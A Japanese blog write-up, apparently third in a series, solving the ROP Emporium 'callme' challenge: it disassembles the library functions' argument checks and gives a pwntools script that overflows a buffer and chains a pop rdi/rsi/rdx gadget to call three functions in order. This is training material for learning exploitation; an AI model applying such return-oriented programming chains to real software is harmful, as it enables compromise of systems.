a

よろしくのキワミ

ROPについて勉強する ~3~

ROPについて勉強する ~3~

ropemporium.com

続き

Reliably make consecutive calls to imported functions. Use some new techniques and learn about the Procedure Linkage Table.

関数を連続して呼び出す問題。

動作確認

前回や前々回と同じく入力を求められ、BOF脆弱性がある。

軽く中を見てみる

f:id:toDo:20190818192311p:plain

sym.imp.callme_***という関数が3つ呼び出されているがその呼び出し順が

  1. sym.imp.callme_three
  2. sym.imp.callme_one
  3. sym.imp.callme_two

という風になっている。

これを1→2→3の順番で呼び出せばいいのかな?

各関数のなかを見ると別ファイルのlibcallme.soで定義されているcallme_***を読んでいるっぽいのでさらにその中を確認

[0x000007f0]> pdf@sym.callme_one
/ (fcn) sym.callme_one 228
|   sym.callme_one (int arg1, int arg2, int arg3);
|           ; var int local_1ch @ rbp-0x1c
|           ; var int local_18h @ rbp-0x18
|           ; var int local_14h @ rbp-0x14
|           ; var int local_8h @ rbp-0x8
|           ; arg int arg1 @ rdi
|           ; arg int arg2 @ rsi
|           ; arg int arg3 @ rdx
|           0x000008f0      55             push rbp
|           0x000008f1      4889e5         mov rbp, rsp
|           0x000008f4      4883ec20       sub rsp, 0x20
|           0x000008f8      897dec         mov dword [local_14h], edi  ; arg1
|           0x000008fb      8975e8         mov dword [local_18h], esi  ; arg2
|           0x000008fe      8955e4         mov dword [local_1ch], edx  ; arg3
|           0x00000901      837dec01       cmp dword [local_14h], 1
|       ,=< 0x00000905      0f85b0000000   jne 0x9bb
|       |   0x0000090b      837de802       cmp dword [local_18h], 2
|      ,==< 0x0000090f      0f85a6000000   jne 0x9bb
|      ||   0x00000915      837de403       cmp dword [local_1ch], 3
|     ,===< 0x00000919      0f859c000000   jne 0x9bb
|     |||   0x0000091f      48c745f80000.  mov qword [local_8h], 0
|     |||   0x00000927      488d35820200.  lea rsi, qword [0x00000bb0] ; section..rodata ; "r"
|     |||   0x0000092e      488d3d7d0200.  lea rdi, qword str.encrypted_flag.txt ; 0xbb2 ; "encrypted_flag.txt"
|     |||   0x00000935      e886feffff     call sym.imp.fopen          ; file*fopen(const char *filename, const char *mode)
|     |||   0x0000093a      488945f8       mov qword [local_8h], rax
|     |||   0x0000093e      48837df800     cmp qword [local_8h], 0
|    ,====< 0x00000943      7516           jne 0x95b
|    ||||   0x00000945      488d3d7c0200.  lea rdi, qword str.Failed_to_open_encrypted_flag.txt ; 0xbc8 ; "Failed to open encrypted_flag.txt"
|    ||||   0x0000094c      e80ffeffff     call sym.imp.puts           ; int puts(const char *s)
|    ||||   0x00000951      bf01000000     mov edi, 1
|    ||||   0x00000956      e875feffff     call sym.imp.exit           ; void exit(int status)
|    `----> 0x0000095b      bf21000000     mov edi, 0x21               ; '!'
|     |||   0x00000960      e84bfeffff     call sym.imp.malloc         ;  void *malloc(size_t size)|     |||   0x00000965      488905fc0620.  mov qword [obj.g_buf], rax  ; [0x201068:8]=0
|     |||   0x0000096c      488b05f50620.  mov rax, qword [obj.g_buf]  ; [0x201068:8]=0
|     |||   0x00000973      4885c0         test rax, rax
|    ,====< 0x00000976      7516           jne 0x98e
|    ||||   0x00000978      488d3d6b0200.  lea rdi, qword str.Could_not_allocate_memory ; 0xbea ; "Could not allocate memory"
|    ||||   0x0000097f      e8dcfdffff     call sym.imp.puts           ; int puts(const char *s)
|    ||||   0x00000984      bf01000000     mov edi, 1
|    ||||   0x00000989      e842feffff     call sym.imp.exit           ; void exit(int status)
|    `----> 0x0000098e      488b05d30620.  mov rax, qword [obj.g_buf]  ; [0x201068:8]=0
|     |||   0x00000995      488b55f8       mov rdx, qword [local_8h]
|     |||   0x00000999      be21000000     mov esi, 0x21               ; '!'
|     |||   0x0000099e      4889c7         mov rdi, rax
|     |||   0x000009a1      e8fafdffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)
|     |||   0x000009a6      488905bb0620.  mov qword [obj.g_buf], rax  ; [0x201068:8]=0
|     |||   0x000009ad      488b45f8       mov rax, qword [local_8h]
|     |||   0x000009b1      4889c7         mov rdi, rax
|     |||   0x000009b4      e8b7fdffff     call sym.imp.fclose         ; int fclose(FILE *stream)
|    ,====< 0x000009b9      eb16           jmp 0x9d1
|    |```-> 0x000009bb      488d3d420200.  lea rdi, qword str.Incorrect_parameters ; 0xc04 ; "Incorrect parameters"
|    |      0x000009c2      e899fdffff     call sym.imp.puts           ; int puts(const char *s)
|    |      0x000009c7      bf01000000     mov edi, 1
|    |      0x000009cc      e8fffdffff     call sym.imp.exit           ; void exit(int status)
|    |      ; CODE XREF from sym.callme_one (0x9b9)
|    `----> 0x000009d1      90             nop
|           0x000009d2      c9             leave
\           0x000009d3      c3             ret

少し長いのだが初めに1 2 3がそれぞれ引数1,2,3に入っているかを確認し、入っていなければ終了するコードが書いてある。

callme_twocallme_threeを見てもそのように引数のチェックを行っているので、この問題は以下のように実行すればいいと考えられる

  1. callme_oneに引数1, 2, 3を渡して呼び出す
  2. callme_twoに引数1, 2, 3を渡して呼び出す
  3. callme_threeに引数1, 2, 3を渡して呼び出す

今回は引数を3つ渡しているのでそのような命令セットを探す(後々ここを作る問題が出そう...)

前回の表を確認すると以下のように検索できる

f:id:toDo:20190818193929p:plain

これの0x0000000000401ab0にある命令セットはまさしくほしいものなのでこれを使う

exploit

from pwn import *

padding = 'A' * 40

# 0x0000000000401ab0 : pop rdi ; pop rsi ; pop rdx ; ret
order_set = p64(0x0000000000401ab0)

callme_one = p64(0x00401850)
callme_two = p64(0x00401870)
callme_three = p64(0x00401810)

arg_1 = p64(1) # rdi
arg_2 = p64(2) # rsi
arg_3 = p64(3) # rdx

order_set_args = order_set + arg_1 + arg_2 + arg_3

exploit = padding
exploit += order_set_args + callme_one
exploit += order_set_args + callme_two
exploit += order_set_args + callme_three

elf = ELF('callme')
io = process(elf.path)
io.sendline(exploit)

log.info(io.recvall())

実行すると無事、フラグが入手できた

f:id:toDo:20190818200303p:plain

感想

ROP chainのつなぎ方がわかってきた。

命令セットが見つからなかった時の解決法が疑問ですね...

プライバシーポリシー お問い合わせ